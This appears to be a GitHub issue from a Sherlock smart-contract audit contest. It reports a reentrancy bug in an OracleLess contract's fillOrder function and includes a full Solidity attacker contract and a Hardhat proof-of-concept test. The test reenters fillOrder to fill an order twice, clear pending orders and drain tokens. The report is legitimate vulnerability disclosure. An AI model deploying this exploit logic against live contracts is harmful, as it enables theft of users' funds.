You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
In fillOrder, execute allows the target to execute a arbitrary data and with that reenter into another fill order, filling the same order twice or multiple times and clearing the list of pending orders in doing so https://github.com/sherlock-audit/2024-11-oku-0xPr0f
Root Cause
Due to the lack in reentracy check, it allows target to reenter and execute the same order twice and clear the pending list of order so anyone who has an active order will lose their order id and funds
Internal pre-conditions
No response
External pre-conditions
No response
Attack Path
No response
Impact
it clears the pending order id list causing users to lose funds cause their orders will be unable to be fulfilled and removed from the list
PoC
// SPDX-License-Identifier: MITpragma solidity^0.8.20;
import {OracleLess} from"./OracleLess.sol";
import"../interfaces/openzeppelin/IERC20.sol";
import"../interfaces/openzeppelin/SafeERC20.sol";
contractTargetAttacker {
using SafeERC20forIERC20; // you have to be safeaddresspublic oracleLess;
constructor(address_oracleLess) {
oracleLess = _oracleLess;
}
function createData1(
uint96pendingOrderIdx,
uint96orderId,
addresstarget,
addresstokenIn,
addresstokenOut,
uint256amountIn
) publicpurereturns (bytesmemorytxData) {
txData =abi.encodeWithSignature(
"execute1(uint96,uint96,address,address,address,uint256)",
pendingOrderIdx,
orderId,
target,
tokenIn,
tokenOut,
amountIn
);
}
function createData2(
uint96pendingOrderIdx,
uint96orderId,
addresstarget,
addresstokenIn,
addresstokenOut,
uint256amountIn
) publicpurereturns (bytesmemorytxData) {
txData =abi.encodeWithSignature(
"execute2(uint96,uint96,address,address,address,uint256)",
pendingOrderIdx,
orderId,
target,
tokenIn,
tokenOut,
amountIn
);
}
function execute1(
uint96pendingOrderIdx,
uint96orderId,
addresstarget,
addresstokenIn,
addresstokenOut,
uint256amountIn
) public {
/* = IERC20(tokenIn).balanceOf(oracleLess); IERC20(tokenIn).safeTransfer( address(this), bal - IERC20(tokenIn).balanceOf(oracleLess) ); require( IERC20(tokenIn).allowance(oracleLess, address(this)) == 0, "revert non zero" ); */IERC20(tokenIn).safeTransferFrom(
oracleLess,
address(this),
IERC20(tokenIn).allowance(oracleLess, address(this))
);
OracleLess(oracleLess).fillOrder(
pendingOrderIdx,
orderId,
target,
createData2(
pendingOrderIdx,
orderId,
target,
tokenIn,
tokenOut,
amountIn
)
);
IERC20(tokenIn).transfer(oracleLess, amountIn);
IERC20(tokenOut).transfer(
oracleLess,
333_000_000_000//337k USDC
);
}
function execute2(
uint96pendingOrderIdx,
uint96orderId,
addresstarget,
addresstokenIn,
addresstokenOut,
uint256amountIn
) public {
// with the funds in your hands, perform the swap, i am not about to perform a uniswap swap,//instead, i will mock it// mock a swap/* IERC20(tokenOut).safeTransfer( _oracleLess_, 337_000_000_000 //337k USDC ); */IERC20(tokenIn).transferFrom(
oracleLess,
address(this),
IERC20(tokenIn).allowance(oracleLess, address(this))
);
require(
IERC20(tokenIn).allowance(oracleLess, address(this)) ==0,
"revert non zero"
);
IERC20(tokenOut).transfer(
oracleLess,
333_000_000_000//337k USDC
);
/* We dont transfer anything now so the balance check pass but we still have the approval and can come back later for it IERC20(tokenIn).safeTransferFrom( _oracleLess_, address(this), IERC20(tokenIn).allowance(_oracleLess_, address(this)) ); */// with the funds in your hands, perform the swap, i am not about to perform a uniswap swap,//instead, i will mock it
}
}
it('should create order reenter and steal funds',asyncfunction(){constwaste=awaits.WETH.connect(s.Steve).balanceOf(s.Steve)//waste the balance by tranfering to the 1 addresses so it doesnt not revertawaits.WETH.connect(s.Steve).transfer('0x0000000000000000000000000000000000000001',waste)// fund steve a balance and approve him to create order// fund the contract with balance which can be as a result of ongoing trades//and any funds sent to the contract//fund steveawaitstealMoney(s.wethWhale,awaits.Steve.getAddress(),awaits.WETH.getAddress(),ethers.parseEther('150'))//fund BobawaitstealMoney(s.wethWhale,awaits.Bob.getAddress(),awaits.WETH.getAddress(),ethers.parseEther('1'))//fund contract with 10eth,// this can be as a result of other trades in the contract e.t.cawaitstealMoney(s.wethWhale,awaits.OracleLess.getAddress(),awaits.WETH.getAddress(),ethers.parseEther('150'))conststeveStartingBalance=awaits.WETH.connect(s.Steve).balanceOf(s.Steve)console.log('Steve starting balance:',steveStartingBalance,ethers.formatEther(steveStartingBalance)+' eth')// Steve is the only order pending so it should be easyconsole.log('Starting pending Id:',awaits.OracleLess.connect(s.Steve).getPendingOrders())awaits.WETH.connect(s.Steve).approve(awaits.OracleLess.getAddress(),ethers.parseEther('100.5')//approve 100weth)awaits.WETH.connect(s.Bob).approve(awaits.OracleLess.getAddress(),ethers.parseEther('0.5')//approve 100weth)//steve which can also be an attacker or a regular personawaits.OracleLess.connect(s.Steve).createOrder(awaits.WETH.getAddress(),awaits.USDC.getAddress(),ethers.parseEther('100'),0,//no slippage cause i will fill the order rightawaits.Steve.getAddress(),0,//no fees cause i am an attackerfalse,//no permit'0x')//Dummy orderawaits.OracleLess.connect(s.Bob).createOrder(awaits.WETH.getAddress(),awaits.USDC.getAddress(),ethers.parseEther('0.005'),0,//no slippage cause i will fill the order rightawaits.Bob.getAddress(),0,//no fees cause i am an attackerfalse,//no permit'0x')console.log('Pending Id After Creating Id:',awaits.OracleLess.pendingOrderIds(0))//should be 0 cause he created a 100eth order for a usdc swapconststeveAfterCreateOrderBalance=awaits.WETH.balanceOf(s.Steve)constcontract=awaits.WETH.balanceOf(s.OracleLess)console.log('Steve After Create Order balance:',steveAfterCreateOrderBalance,ethers.formatEther(steveAfterCreateOrderBalance)+' eth')console.log('contract balance:',contract,ethers.formatEther(contract)+' eth')//The attacker tries to fill order our attacker is Gary (BadGary)// This is his starting balance//fund garyawaitstealMoney(s.wethWhale,awaits.Gary.getAddress(),awaits.WETH.getAddress(),ethers.parseEther('200'))constAttackerGaryStartingBalance=awaits.WETH.connect(s.Gary).balanceOf(s.Gary)console.log('Attacker Gary starting WETH balance:',AttackerGaryStartingBalance,ethers.formatEther(AttackerGaryStartingBalance)+' eth')// Deploy the contract with constructor argumentsconstAttackerContractFactory=awaitethers.getContractFactory('TargetAttacker')// Deploy the contractconstattackerContract=awaitAttackerContractFactory.deploy(s.OracleLess)//executeTradeAndReenter is public for simplicity and ease to replicateconstresult=awaits.OracleLess.connect(s.Steve).getPendingOrders()// Mock 100eth for the transfer, this would have been implemented with the approve from the contract// but implementing uniswap swap would be alotawaitstealMoney(s.wethWhale,awaitattackerContract.getAddress(),awaits.WETH.getAddress(),ethers.parseEther('300'))console.log('WETH balance of attacker contract',awaits.WETH.balanceOf(attackerContract.getAddress()),ethers.formatEther(awaits.WETH.balanceOf(attackerContract.getAddress()))+'eth')letapproveSpend=awaits.WETH.connect(s.Gary).approve(s.router02,BigInt(2)*result[0].amountIn)approveSpend.wait()letsuccess=awaitgenerateUniTxCustom(s.router02,s.UniPool,awaits.Gary.getAddress(),result[0].tokenIn,result[0].tokenOut,BigInt(2)*result[0].amountIn,ethers.parseEther('0')// we are doing a 100eth swap after all)console.log('USDC balance of Gary',awaits.USDC.balanceOf(awaits.Gary.getAddress()),ethers.formatUnits(awaits.USDC.balanceOf(awaits.Gary.getAddress()),6)+' USDC.e')awaits.USDC.connect(s.Gary).transfer(attackerContract.getAddress(),awaits.USDC.balanceOf(awaits.Gary.getAddress()))console.log('USDC balance of Attacker Contract',awaits.USDC.balanceOf(awaitattackerContract.getAddress()),ethers.formatUnits(awaits.USDC.balanceOf(awaitattackerContract.getAddress()),6)+' USDC.e')console.log('USDC balance of Gary',awaits.USDC.balanceOf(awaits.Gary.getAddress()),ethers.formatUnits(awaits.USDC.balanceOf(awaits.Gary.getAddress()),6)+' USDC.e')/* uint96 pendingOrderIdx, uint96 orderId, address target, bytes calldata txData*/awaits.OracleLess.connect(s.Gary).fillOrder(0asBigNumberish,(awaits.OracleLess.pendingOrderIds(0))asBigNumberish,(awaitattackerContract.getAddress())asAddressLike,(awaitattackerContract.createData1(0,awaits.OracleLess.pendingOrderIds(0),awaitattackerContract.getAddress(),result[0].tokenIn,result[0].tokenOut,result[0].amountIn))asBytesLike)console.log(awaits.OracleLess.connect(s.Steve).getPendingOrders())// this will be 0 although there was an order created by bob})
Mitigation
add reentrancy check in fill order
The text was updated successfully, but these errors were encountered:
Dazzling Frost Swallow
High
Reentrancy in fillOrder
Summary
In
fillOrder
,execute
allows the target to execute a arbitrary data and with that reenter into another fill order, filling the same order twice or multiple times and clearing the list of pending orders in doing so https://github.com/sherlock-audit/2024-11-oku-0xPr0fRoot Cause
Due to the lack in reentracy check, it allows target to reenter and execute the same order twice and clear the pending list of order so anyone who has an active order will lose their order id and funds
Internal pre-conditions
No response
External pre-conditions
No response
Attack Path
No response
Impact
it clears the pending order id list causing users to lose funds cause their orders will be unable to be fulfilled and removed from the list
PoC
Mitigation
add reentrancy check in fill order
The text was updated successfully, but these errors were encountered: